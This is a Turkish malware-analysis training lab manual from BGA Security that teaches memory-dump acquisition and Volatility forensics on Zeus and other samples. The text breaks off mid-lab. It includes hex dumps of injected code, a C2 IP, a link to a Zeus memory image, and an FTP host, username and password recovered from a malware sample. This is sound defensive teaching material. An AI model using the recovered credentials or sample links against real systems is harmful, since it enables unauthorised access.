SlideShare una empresa de Scribd logo
1 de 61
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Zararlı Yazılım Analizi
Eğitimi Lab Çalışmaları
Baskı: 2 Haziran 2013
Hazırlayan: Onur Alanbel
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
BGA Bilgi Güvenliği A.Ş. Hakkında
BGA Bilgi Güvenliği A.Ş. 2008 yılından bu yana siber güvenlik alanında faaliyet göstermektedir.
Ülkemizdeki bilgi güvenliği sektörüne profesyonel anlamda destek olmak amacı ile kurulan BGA Bilgi
Güvenliği,stratejik siber güvenlikdanışmanlığı ve güvenlik eğitimleri konularında kurumlara hizmet
vermektedir.
Uluslararası geçerliliğe sahip sertifikalı 50 kişilikteknik ekibi ile,faaliyetlerini Ankara ve İstanbul ve
USA’da sürdüren BGA Bilgi Güvenliği’ninilgi alanlarını “Sızma Testleri, Güvenlik Denetimi, SOME, SOC
Danışmanlığı, Açık Kaynak Siber Güvenlik Çözümleri, Büyük Veri Güvenlik Analizi ve Yeni Nesil
Güvenlik Çözümleri”oluşturmaktadır.
Gerçekleştirdiği başarılı danışmanlık projeleri ve eğitimlerle sektörde saygın bir yer edinen BGA Bilgi
Güvenliği, kurulduğu günden bugüne alanında lider finans, enerji, telekom ve kamu kuruluşlarına
1.000'den fazlaeğitimve danışmanlıkprojelerigerçekleştirmiştir.
BGA Bilgi Güvenliği, kurulduğu 2008 yılından beri ülkemizde bilgi güvenliği konusundaki bilgi ve
paylaşımlarınartmasıamacı ile güvenlike-postalisteleri oluşturulması, seminerler,güvenliketkinlikleri
düzenlenmesi, üniversite öğrencilerine kariyer ve bilgi sağlamak için siber güvenlik kampları
düzenlenmesi ve sosyal sorumlulukprojeleri gibi birçokkonudagönüllüfaaliyetlerde bulunmuştur.
BGA Bilgi Güvenliği AKADEMİSİ Hakkında
BGA Bilgi Güvenliği A.Ş.’nin eğitim ve sosyal sorumluluk markası olarak çalışan Bilgi Güvenliği
AKADEMİSİ, siber güvenlik konusunda ticari, gönüllü eğitimlerin düzenlenmesi ve siber güvenlik
farkındalığını arttırıcı gönüllü faaliyetleri yürütülmesinden sorumludur. Bilgi Güvenliği AKADEMİSİ
markasıyla bugüne kadar “Siber Güvenlik Kampları”, “Siber Güvenlik Staj Okulu”, “Siber Güvenlik Ar-
Ge DestekBursu” , ”Ethical Hacking yarışmaları” ve “SiberGüvenlikKütüphanesi” gibi birçok gönüllü
faaliyetindestekleyici olmuştur.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
İÇİNDEKİLER
Malware Analiz Amaçlı Bellek Dökümü Analizi........................................................................4
Uygulama Adı: Sanal Makinelerde Bellek Dökümü Alma.......................................................... 5
UygulamaAdı: WindowsSistemlerde BellekDökümüAlmaAmaçlıKullanılanTicari/Ücretsiz
Yazılımlar.............................................................................................................................. 6
UygulamaAdı: Linux SistemlerdeBellekDökümüAlmaAmaçlıKullanılanTicari/Ücretsiz
Yazılımlar.............................................................................................................................. 7
Uygulama Adı: Volatility Kullanarak Bellek Analizi ................................................................... 8
Uygulama Adı: Çalıştırılan Dosyaya Ait Ağ Bağlantılarını Bulma ...............................................10
Uygulama Adı: Bellekten Zararlı Yazılıma Ait Çalıştırılabilir Dosyanın Çıkarılması.......................11
Uygulama Adı: Bellekte Parola Bulma....................................................................................13
Uygulama Adı: Bellekte Zararlı Yazılım Avı..............................................................................14
Malware Analiz Araçları ve Temel Kullanımları......................................................................17
Uygulama Adı: Temel Seviye Disassembler Kullanımı..............................................................17
Uygulama Adı: Temel Seviye Debugger Kullanımı...................................................................21
Malware Keşfinde Microsoft Sysinternals Araçları ................................................................25
Uygulama Adı: Process Explorer Kullanımı.............................................................................25
Uygulama Adı: Process Monitor Kullanımı..............................................................................27
Malware Yayılma Mekanizmaları............................................................................................30
Online Malware Analiz Siteleri ve Temel Çalışma Yöntemleri...............................................30
Uygulama Adı: Virustotal Kullanımı .......................................................................................31
McRat Analizi...........................................................................................................................33
Uygulama Adı: Zararlı Tarafından Üretilen Trafiğin Sahte Servislerle Yönetimi..........................45
Uygulama Adı: Snort Kullanarak Zararlı Yazılım Tespiti............................................................49
Uygulama Adı: SSL Kullanan Zararlı Yazılım Trafiğini Yönlendirme ve İnceleme.........................53
Uygulama Adı: DNS Sinkhole İle Zararlı Yazılım Engelleme ......................................................57
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Malware Analiz Amaçlı Bellek Dökümü Analizi
İşletim Sisteminin Çalışmasında Belleğin Yeri ve Önemi
Bilgisayar sistemlerinde normal şartlar altında süreçler(process) çalışmak için işletim sistemi
tarafından belleğe yüklenmeye gereksinimduyarlar. Zararlı yazılımlar kendilerini çalışan diğer
süreçlerin bellek alanlarına enjekte etmek gibi yöntemler kullansalar da sonuçta bir şekilde
bellekte yer edinmeleri gerekir. Bunun sebebini özetlemek gerekirse; günümüz işlemcileri
çalıştıracağı kodları(instruction) kendi önbelleğinden çeker. Eğer gerekli alan önbellekte yüklü
değilse bu alan bellekten yüklenir. Önbellek ve belleğin senkron olmasından dolayı(detaylar
için cache write back ve cache write through policy aranabilir) sistemde çalışan süreçlerin
aktiviteleri bellek analizi ile tespit edilebilir. Tabi burada bellekteki bazı süreçlerin diske
kaydedilip(swapping) bellekten çıkarılmış olma ihtimali de var ancak bu süreçleri de bellek
dökümüne dahil etmek döküm alma işlemini gerçekleştiren uygulamanın sorumluluğundadır.
Yine detaylar için virtual memory, memory paging, process swapping başlıkları aranılabilir.
Bellek Analizi İçin Gerekli Temel Bilgiler
Modern işletim sistemleri bellek yönetiminde sanal bellek(virtual memory) adı verilen bir yapı
kullanırlar. İşletim sistemi her süreç için sabit boyutlu, anlık sistem kaynaklarından bağımsız
bir sanal bellek tanımlayıp sürece tek parça bir hafızaya sahip olduğu izlenimi verir. Ayrıca bu
sanal belleği page adı verilen bir çok küçük parçaya böler. Aynı zamanda fiziksel belleği de
pagelerle aynı boyutlu frame adı verilen parçalara böler ve süreçlerin çalışmak anında ihtiyaç
duydukları pageleri bu framelere yükleyerek kısıtlı bir bellek alanında bir çok sürecin
bulunmasına imkan tanır. Aynı sürece ait pagelerin framelere ardışık olarak yerleştirilme
zorunluğu yoktur bu işlemin detayları işletim sisteminin sanal bellek yöneticisi tarafından ve
TLB(translation lookaside buffer) gibi donanımsal eklentiler yardımıyla gerçekleştirilir. Sanal
bellek yöntemi internal ve external fragmentation sorunlarını en aza indirip multiprocessing
imkanını olabildiğince arttırmak amacıyla geliştirilmiştir.
32-bit Windows sistemlerde varsayılan olarak her sürece 2GB sanal bellek tanımlanır. İhtiyaç
duyulduğunda bu boyut 32-bit uygulamalar için 3GB’a 64-bit uygulamalar içinse 4GB’a kadar
çıkarılabilir. 64-bit Windows sistemlerde ise işlemci mimarisine göre bu boyut 7GB veya 8GB
olarak tanımlanmıştır. 32-bit Linux sistemlerde süreçlerin sanal bellek alanı 3 GB olarak
tanımlanmıştır. 64-bit Linux sistemlerde 32-bit uygulamalar için bu alan 4GB olarak
tanımlanmıştır, 64-bit uygulamalar içinse sistem tarafından teoride 128TB’a kadar
desteklenmekle beraber gerçekte kullanılan mimariye bağlı olarak değişkenlik gösterir.
Bellek analizinde önem arz eden bir başka işletimsistemi mekanizması da swappingtir. İşletim
sisteminin süreç yöneticisi tarafından diğer sistem kaynaklarıyla beraber fiziksel bellek
kullanımı da süreçler arasında belli algoritmalara bağlı olarak paylaştırılır. İhtiyaç
duyulduğunda bazı süreçlere ait frameler diske kaydedilerek başka süreçlere yer açılabilir. Bu
diske kaydetme ve diskte geri yükleme işlemine Windowsta page in - page out, Linuxte swap
in - swap out adı verilmektedir.
Hem Windows hem de Linux sistemlerde çalıştırılabilir dosyalar için belli bir format vardır.
Windows sistemler PE(Portable Executable) adı verilen bir dosya formatı kullanır. PE aslında
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
windows işletim sisteminin dosyayı belleğe yükleyip çalıştırabilmesi için gerekli bilgileri tutan
veri yapısıdır. Temelde dosyanın belleğe nasıl yerleştirileceğiyle ve bellekte hangi bölümün
hangi izinlerinin(okuma, yazma, çalıştırma) olacağı, çalışmak için ihtyaç duyduğu dll dosyaları
gibi bilgileri barındıran başlık(header) ve bölümlerden(section) oluşur.
Linux sistemlerde ise kendi başına çalıştırılabilir uygulamalar için ELF(Executable and Linkable
Format) adı verilen bir dosya formatı kullanılır. ELF de PE formatına benzer olarak programın
belleğe yerleştirilmesi, izinleri gibi işletimsisteminin programı çalıştırmak için ihtiyaç duyduğu
bilgileri barındıran başlık ve bölümlerden oluşan bir veri yapısıdır.
Uygulama No: BGA-MA-?
Uygulama Adı: Sanal Makinelerde Bellek Dökümü Alma
Amaç: Zararlının bulaştığı sanal makinede çalışan sistemin bellek dökümünü almak.
Lab senaryosu: Zararlının çalıştığı sistemede ek bir yazılım çalıştırmaya gerek kalmadan
sanallaştırma uygulaması aracılığıyla bellek dökümü elde edilir.
Kullanılan Araçlar:
● VMWare Workstation 9
Adımlar:
1. Adım:
Sanal makinenin snapshot özelliği kullanılarak sistemin durumu kaydedilir. VMWare için üst
menüden “VM->Snapshot->Take Snapshot” yolu izlenir veya üst paneldeki snapshot ikonuna
basılır.
2. Adım:
İlgili sanal makine dosyalarının kayıtlı olduğu dizin bulunur. Bunun için ESXI gibi sanallaştırma
sistemlerinde sanal makinenin kayıtlı olduğu datastore’a bakılır. Yerelde çalışan VMWare
workstation için hedef sanal makinenin üzerine sağ tıklanıp “Settings” açılan pencereden
“Options->General” tabına gelinir ve “Working Directory” kısmından dizin görülür. Bulunan
dizine gidilip alınan snapshotla aynı isimdeki .vmem uzantılı dosya(bellek dökümü) analizin
yapılacağı sisteme kopyalanır.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-MA-?
Uygulama Adı: Windows Sistemlerde Bellek Dökümü Alma Amaçlı
Kullanılan Ticari/Ücretsiz Yazılımlar
Amaç: Zararlının bulaştığı Windows sistemin bellek dökümünü almak.
Lab senaryosu: Zararlının çalıştığı windows sistemde uygulama çalıştırılarak bellek dökümü
elde edilir.
Kullanılan Araçlar:
● DumpIt 2.0
● Memoryze 3.0
Adımlar:
1. Adım:
Memoryze uygulamasıbellek dökümünün alınacağısistemekopyalanır.Komut satırından veya
görsel olarak uygulamanın bulunduğu dizine girilir. MemoryDD.bat dosyası çalıştırılıp bellek
döküm alma işlemi başlatılır. Sadece belle bir uygulamanın bellek dökümü için ProcessDD.bat
dosyası kullanılabilir.
2. Adım:
Döküm alma işlemi bittiğinde memoryze’ın bulunduğu dizinde Audits dizini altında hedef
işletimsisteminin adında bir dizin oluşturulur. Bu dizinde döküm işlemiyle ilgililog dosyalarının
yanı sıra memory.1b12381b.img benzeri bir isme sahip .img uzantılı bellek döküm dosyası
bulunur. Bu dosya analizin yapılacağı sisteme kopyalanır.
3. Adım:
Alternatif olarak DumpIT uygulaması da bellek dökümü alma amacıyla kullanılabilir. Hedef
sisteme kopyalanan DumpIT uygulaması çalıştırıldığında bulunduğu dizine .raw uzantılı bir
bellek döküm dosyası kaydeder. Bu dosya analiz edileceği sisteme kopyalanarak bellek
analizine başlanabilir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-MA-?
Uygulama Adı: Linux Sistemlerde Bellek Dökümü Alma Amaçlı Kullanılan
Ticari/Ücretsiz Yazılımlar
Amaç: Zararlının bulaştığı Linux sistemin bellek dökümünü almak.
Lab senaryosu: Zararlının çalıştığı Linux sistemde uygulama/komut çalıştırılarak bellek
dökümü elde edilir.
Kullanılan Araçlar:
● memdump 1.01
● dc3dd
● Helix3 Pro R3
Adımlar:
1. Adım:
Terminalden “dc3dd if=/dev/mem > dump.mem” komutu ile fiziksel sistem belleği
dump.mem isminde bir dosyaya kaydedilir. Bazı linux dağıtımlarında/sürümlerinde bu komut
bellek dökümünü eksiksiz almak için yeterli olmayabilir. Bu gibi durumlarda memdump
uygulaması bellek dökümü alınacak sisteme kopyalanıp veya yüklenip terminalden
“memdump > dump.mem” komutu ile döküm alma işlemi gerçekleştirilir.
Bir başka seçenek de ücretli bir yazılımolan Helix3Pro ilebellek dökümü almaktır. Helix3 açılıp
sol paneldeki memory bölümünden fiziksel bellek seçilip üst menüden “Acquire Device”
ikonuna basılır. Gelen ekranda bellek dökümü ile ilgii istenen harici ayarlar varsa yapılıp “Start
Acquisition” butonuna basılarak bellek dökümü alınır.
2. Adım:
İlk adımda anlatılan araçlar kullanılarak elde edilen bellek döküm dosyası analizin yapılacağı
sisteme kopyalanarak analiz işlemine başlanabilir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-MA-?
Uygulama Adı: Volatility Kullanarak Bellek Analizi
Amaç: Bellek dökümünü analiz etmek.
Lab senaryosu: Zararlının çalıştığı makinenin bellek dökümü Volatility aracı/frameworkü
kullanılarak analiz edilir ve kendisini explorer.exe’ye enjekte etmiş zararlının sebep olduğu
anormallikler gözlenir.
Kullanılan Araçlar:
● Volatility 2.2
● Meterpreter çalıştırılmış WinXP SP3 bellek dökümü
Adımlar:
Volatility ücretsiz olarak indirilip kurulabileceğil gibi Kali’de hali hazırda yüklü gelmektedir ve
konsoldan vol komutu ile çalıştırılabilir, ama eklentileri bulabilmesi için çalıştırmadan önce
/usr/share/volatility/ dizinine geçilmesi gerekir.
1. Adım:
“vol -f dump1.vmem imageinfo”
komutu ile bellek dökümü hakkında bilgi alınır. Komut
-f dump1.vmem (dump1.vmem adlı bellek döküm dosyası üzerinde)
imageinfo (imageinfo adlı eklentiyi kullan)
şeklinde açıklanabilir. Windows XP SP3 sistemin bellek dökümü için çıktısı şu şekildedir.
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
…...
KUSER_SHARED_DATA : 0xffdf0000
Image date and time : 2013-08-23 09:08:32 UTC+0000
Image local date and time : 2013-08-23 12:08:32 +0300
2. Adım:
Bundan sonraki volatility komutları için “-f dump1.vmem --profile=WinXPSP3x86”
parametrelerinin, ilgili eklentinin adı ve parametreleriyle beraber kullanılarak bellek
dökümünün ve dökümün ait olduğu sistemin Volatility’e bildirilmesi gerekir.
“vol -f dump1.vmem --profile=WinXPSP3x86 pslist” komutu ile süreçlerin listesi
alınır.
….
0x865be658 spoolsv.exe 1380 704 10 136 0 0 2013-08-15 12:22:51
0x86144020 explorer.exe 1644 1604 14 438 0 0 2013-08-15 12:22:53
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
0x8634fda0 vmtoolsd.exe 1804 1644 5 253 0 0 2013-08-15
12:22:56
0x86488858 svchost.exe 1916 704 5 121 0 0 2013-08-15 12:23:03
……
Süreçlerin PID(Process ID) ve PPID(Parent Process ID) değerlerine bakılarak beklenmeyen
servisler ya da uygulamalar tarafından başlatılan şüpheli süreçler belirlenebilir.
3. Adım:
Zararlı yazılımın bir şekilde ağ erişimi sağlaması beklendiğinden dolayı connections(aktif
bağlantılar listeler) ve connscan(önceki bağlantıları listeler) komutları ile sistemin ağ
haraketleri incelenir.
“”vol -f dump1.vmem --profile=WinXPSP3x86 connscan” (windows vista ve sonrası profiller
için netscan komutu ile daha detaylı bir çıktı elde edilebilir)
Offset(P) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ---
0x060dc008 192.168.41.139:1551 192.168.41.1:4545 1644
0x060df488 192.168.41.139:1433 192.168.41.1:4545 1644
0x06101630 192.168.41.139:1575 192.168.41.1:4545 1644
0x0610be68 192.168.41.139:1518 192.168.41.1:4545 1644
0x0611ae68 192.168.41.139:1285 192.168.41.1:4545 1644
0x0611c610 192.168.41.139:1526 192.168.41.1:4545 1644
0x0613a738 192.168.41.139:1473 192.168.41.1:4545 1644
0x06223508 192.168.41.139:1610 192.168.41.1:4545 1644
0x06360b40 192.168.41.139:1172 192.168.41.1:4545 2984
0x063743d8 192.168.41.139:1592 192.168.41.1:4545 1644
0x06385620 192.168.41.139:1221 192.168.41.1:4545 2984
…….
0x0643e008 192.168.41.139:1597 192.168.41.1:4545 1644
0x06449e68 192.168.41.139:1319 192.168.41.1:4545 1644
0x0644a008 192.168.41.139:1332 192.168.41.1:4545 1644
0x065da620 192.168.41.139:1248 192.168.41.1:4545 2984
0x066b3cd8 192.168.41.139:1439 192.168.41.1:4545 1644
Bağlantı geçmişinden görüldüğü üzere iki süreç 192.168.41.1 IP’si ile bağlantı kurmuş. 2984
PID’ine sahip süreç, süreç listesinde olmadığı için hakkında bir bilgi yok fakat 1644
explorer.exe’nin PID’i olmasından dolayı dikkate değer. Explorer.exe’nin ağ aktivitesi
göstermesi beklenmeyen bir durumdur. Bu senaryo için zararlının önce 2984 PID’ine sahip
süreç olarak veya süreç üzerinden çalıştığı daha sonra kendisini explorer.exe’ye enjekte ettiği
hipotezi öne sürülebilir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-MA-?
Uygulama Adı: Çalıştırılan Dosyaya Ait Ağ Bağlantılarını Bulma
Amaç: Sistemdeki uygulama veya servislerin ağ aktivitelerini incelemek.
Labsenaryosu:Zeus zararlısınn çalıştığı WinXP SP2 sistemdeki network aktivitileribellek analiz
yöntemiyle tespit edilir.
Kullanılan Araçlar:
● Volatility 2.2
● Zeus Bellek Dökümü (http://malwarecookbook.googlecode.com/svn-
history/r26/trunk/17/1/zeus.vmem.zip)
Adımlar:
1. Adım:
“vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 connections” komutu ile dökümün
alındığı andaki aktif bağlantılar listelenir. Örnek dökümde bu komut sonuç vermeyecektir.
“vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 connscan” komutu ile önceki bağlantılar
listelenmeye çalışılır.
Volatile Systems Volatility Framework 2.2
Offset(P) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ---
0x02214988 172.16.176.143:1054 193.104.41.75:80 856
0x06015ab0 0.0.0.0:1056 193.104.41.75:80 856
2. Adım:
Birinci adımda bulunan bağlantıların 856 PID’li uygulamaya, pslist ile bakıldığında
svchost.exe’e ait olduğu görülmektedir. “whois 193.104.41.75” ile IP sorgulandığında
Microsoft ile alakası olmayan bir IP olduğu görülmektedir ki svchost.exe’nin böyle bir IP ile
bağlantı kurması beklenen bir durum değildir.
“vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 sockets” komutu ile sistemdeki açık
soketler listelenir. sockets yerine sockscan eklentisi ile önceki açık soketleri listelemek de
mümkündür.
Offset(V) PID Port Proto Protocol Address Create Time
---------- ------ ------ ------ --------------- --------------- -----------
0x80fd1008 4 0 47 GRE 0.0.0.0 2010-08-11 06:08:00
0xff258008 688 500 17 UDP 0.0.0.0 2010-08-11 06:06:35
0xff367008 4 445 6 TCP 0.0.0.0 2010-08-11 06:06:17
0x80ffc128 936 135 6 TCP 0.0.0.0 2010-08-11 06:06:24
0xff37cd28 1028 1058 6 TCP 0.0.0.0 2010-08-15 19:17:56
0xff20c478 856 29220 6 TCP 0.0.0.0 2010-08-15 19:17:27
0xff225b70 688 0 255 Reserved 0.0.0.0 2010-08-11 06:06:35
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
0xff254008 1028 123 17 UDP 127.0.0.1 2010-08-15 19:17:56
0x80fce930 1088 1025 17 UDP 0.0.0.0 2010-08-11 06:06:38
0xff127d28 216 1026 6 TCP 127.0.0.1 2010-08-11 06:06:39
0xff206a20 1148 1900 17 UDP 127.0.0.1 2010-08-15 19:17:56
0xff1b8250 688 4500 17 UDP 0.0.0.0 2010-08-11 06:06:35
0xff382e98 4 1033 6 TCP 0.0.0.0 2010-08-11 06:08:00
0x80fbdc40 4 445 17 UDP 0.0.0.0 2010-08-11 06:06:17
Eldeki bulgular ışığında analiz çalışmalarını services.exe’nin üzerine yoğunlaştırmak doğru bir
yaklaşım olabilir.
Uygulama No: BGA-MA-?
Uygulama Adı: Bellekten Zararlı Yazılıma Ait Çalıştırılabilir Dosyanın
Çıkarılması
Amaç: Bellekteki zararlı yazılımı çalıştırılabilir dosya olarak elde etmek.
Lab senaryosu: Bellekte kendi başına ya da başka bir sürece dahil olarak çalışan zararlı yazılım
çalıştırılabilirdosya olarak kaydedilip dosya üzerinde dinamik, statikveya imza tabanlı analizler
yapma imkanı elde edilir.
Kullanılan Araçlar:
● Volatility 2.2
● Zeus Bellek Dökümü (http://malwarecookbook.googlecode.com/svn-
history/r26/trunk/17/1/zeus.vmem.zip)
Adımlar:
1. Adım:
Bir sürecin adreslenebilen tüm bellek alanını kaydetmek için Volatility’nin memdump eklentisi
kullanılabilir. Örneğin:
“vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 memdump -D ~/Desktop/zeus -p 856”
komutu ile 856 PID’li süreç “~/Desktop/zeus/856.dmp” dosyasına kaydedilir.
2. Adım:
Eğer zararlının kendisinibaşka bir sürece enjekte ettiğinden şüpheleniliyorsa, malfind eklentisi
kullanılarak şüpheli sürecin bellek alanına ait VAD(virtual address descriptor) değerlerine ve
bellek üzerinde okuma,yazma,çalıştırma izinlerine bakılarak enjekte edilmiş dll veya kodlar
bulunabilir.
“vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 malfind -D ~/Desktop/zeus -p 856”
Process: svchost.exe Pid: 856 Address: 0xb70000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Flags: CommitCharge: 38, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x00b70000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x00b70010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x00b70020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00b70030 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 ................
0xb70000 4d DEC EBP
0xb70001 5a POP EDX
0xb70002 90 NOP
…….
0xb7003c d000 ROL BYTE [EAX], 0x1
0xb7003e 0000 ADD [EAX], AL
Process: svchost.exe Pid: 856 Address: 0xcb0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x00cb0000 b8 35 00 00 00 e9 cd d7 c5 7b 00 00 00 00 00 00 .5.......{......
0x00cb0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00cb0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00cb0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xcb0000 b835000000 MOV EAX, 0x35
0xcb0005 e9cdd7c57b JMP 0x7c90d7d7
0xcb000a 0000 ADD [EAX], AL
….
3. Adım:
Elde edilen dosyalar üzerinde gelişmiş statik ve dinamik analiz yöntemleri uygulanabilir,
Cuckoo gibi sandboxlarla analiz edilebilir veya bilindik bir zararlı olması ihtimaline karşın
virustotal.com gibi online tarama yapan sistemlere gönderilebilir. Örnek bellek dökümünden
ikinciadımda elde edilen process.0x80ff88d8.0xb70000.dmp isimlidosya virustotal aracılığıyla
taratılarak birçok antivirüs tarafından zbot(zeus) türevi olarak tanımlandığı görülmüştür.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-MA-?
Uygulama Adı: Bellekte Parola Bulma
Amaç: Zararlı yazılımın kullandıgı parolları bulmak.
Lab senaryosu: Çalıştığında veri aktarmak veya komut almak gibi amaçlarla FTP sunucusuna
bağlanan zararlının hafıza dökümünden sunucunun kullanıcı adı ve parolası bulunur.
Kullanılan Araçlar:
● Volatility 2.2
● UsbFix.exe
(074119aa1af762c3abe81bd5b682a43781a9ce726aa59c5fd4c609912d249d76)
Adımlar:
1. Adım:
“ vol -f ~/Desktop/memdump.vmem --profile=WinXPSP3x86 connections” veya(connscan) ile
aktif veya geçmiş bağlantılar listelenir.
Volatile Systems Volatility Framework 2.2
Offset(V) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ------
0x8608d220 10.10.10.130:1046 10.10.10.129:21 2480
2. Adım
Örnekteki hedef sunucunun 21. portuna (varsayılan FTP portu) bağlantı kuran 2480 PID’li
süreç gibi şüpheli süreçler
“vol -f ~/Desktop/memdump.vmem --profile=WinXPSP3x86 memdump -p 2480 -D
~/Desktop/”
komutu ile ayrı bir dosyaya kaydedilir. memdump eklentisi -D ile belirtilen dizine -p ile
belirtilen PID’deki sürece ait hafızayı pid.dmp(2480.dmp) adlı dosyaya kaydeder.
3. Adım
Bu dosya üzerinde strings uygulaması kullanılarak stringler çıkarılıp üzerinde istenilen
aramalar yapılabilir. Örneğin aramayı FTP varsayımı üzerinden yapmak için ilk olarak
“strings 2480.dmp | grep ftp” ile ftp sunucusunun alanadı bulunabilir.
...
ftp.cluster010.ovh.net
ftp://%s/
iis_ftp
cutftp32.exe
ftpProxyServer
RomMtftpReadFile failed %d
status from TftpGetPut 0x%x
calling TftpGetPut(%s,0x%x)
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Daha sonra kullanıcı adını bulmak için
“strings 2480.dmp | grep USER”
...
USER %s
….
USER eldesapa
%d, USER
...
ve parolayı bulmak için
“strings 2480.dmp | grep PASS” kullanılabilir.
PASS %s
PASS TDzwf4wh5N1
ERROR: SrvConfigurationThread returning at >PASSIVE level
Farklı protokoller için veya aranan başka önemli veriler için de benzer yöntemler kullanmak
mümkündür. Zararlının statik analizinde büyük ihtimalle encrypted veya encoded olarak
tutulduğundan dolayı görülemeyen bu tarz bilgilere hafıza analizinde okunabilir halde
erişmek mümkün olabilmektedir.
Uygulama No: BGA-MA-?
Uygulama Adı: Bellekte Zararlı Yazılım Avı
Amaç: Belleği bilinen zararlı yazılımlar için taramak.
Lab senaryosu: Zararlının bulaştığı sistem yara imzalarıyla taranarak zeus zararlısı olduğu
belirlenir. Sistemdeki dll/kod enjeksiyonları bulunur.
Kullanılan Araçlar:
● Volatility 2.2
● Yara 1.7, Yara-python 1.7
● Zeus Bellek Dökümü (http://malwarecookbook.googlecode.com/svn-
history/r26/trunk/17/1/zeus.vmem.zip)
Adımlar:
1. Adım:
Bellek dökümü yarascan eklentisi kullanılarak tanımlı imzalar için taranabilir. Kullanılan örnek
imza dosyası “http://code.google.com/p/yara-project/wiki/MalwareRules” adresinden
indirilebilir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
“vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 yarascan --yara-file=malrules.yara”
…….
Owner: Process svchost.exe Pid 856
0x00b73014 2a 3c 73 65 6c 65 63 74 20 00 00 00 2a 3c 6f 70 *<select....*<op
0x00b73024 74 69 6f 6e 20 20 73 65 6c 65 63 74 65 64 00 00 tion..selected..
0x00b73034 2a 3c 69 6e 70 75 74 20 2a 76 61 6c 75 65 3d 22 *<input.*value="
0x00b73044 00 00 00 00 42 00 4f 00 46 00 41 00 20 00 61 00 ....B.O.F.A...a.
Rule: zbot
Owner: Process svchost.exe Pid 856
0x00b73020 2a 3c 6f 70 74 69 6f 6e 20 20 73 65 6c 65 63 74 *<option..select
0x00b73030 65 64 00 00 2a 3c 69 6e 70 75 74 20 2a 76 61 6c ed..*<input.*val
0x00b73040 75 65 3d 22 00 00 00 00 42 00 4f 00 46 00 41 00 ue="....B.O.F.A.
0x00b73050 20 00 61 00 6e 00 73 00 77 00 65 00 72 00 73 00 ..a.n.s.w.e.r.s.
Rule: zbot
Owner: Process svchost.exe Pid 856
0x00b73034 2a 3c 69 6e 70 75 74 20 2a 76 61 6c 75 65 3d 22 *<input.*value="
0x00b73044 00 00 00 00 42 00 4f 00 46 00 41 00 20 00 61 00 ....B.O.F.A...a.
0x00b73054 6e 00 73 00 77 00 65 00 72 00 73 00 3a 00 0a 00 n.s.w.e.r.s.:...
0x00b73064 0a 00 25 00 53 00 00 00 67 00 72 00 61 00 62 00 ..%.S...g.r.a.b.
Rule: zbot
….
Çıktıdan Zeus zararlısının birçok sürece kendisini enjekte ettiği görülmektedir.
2. Adım:
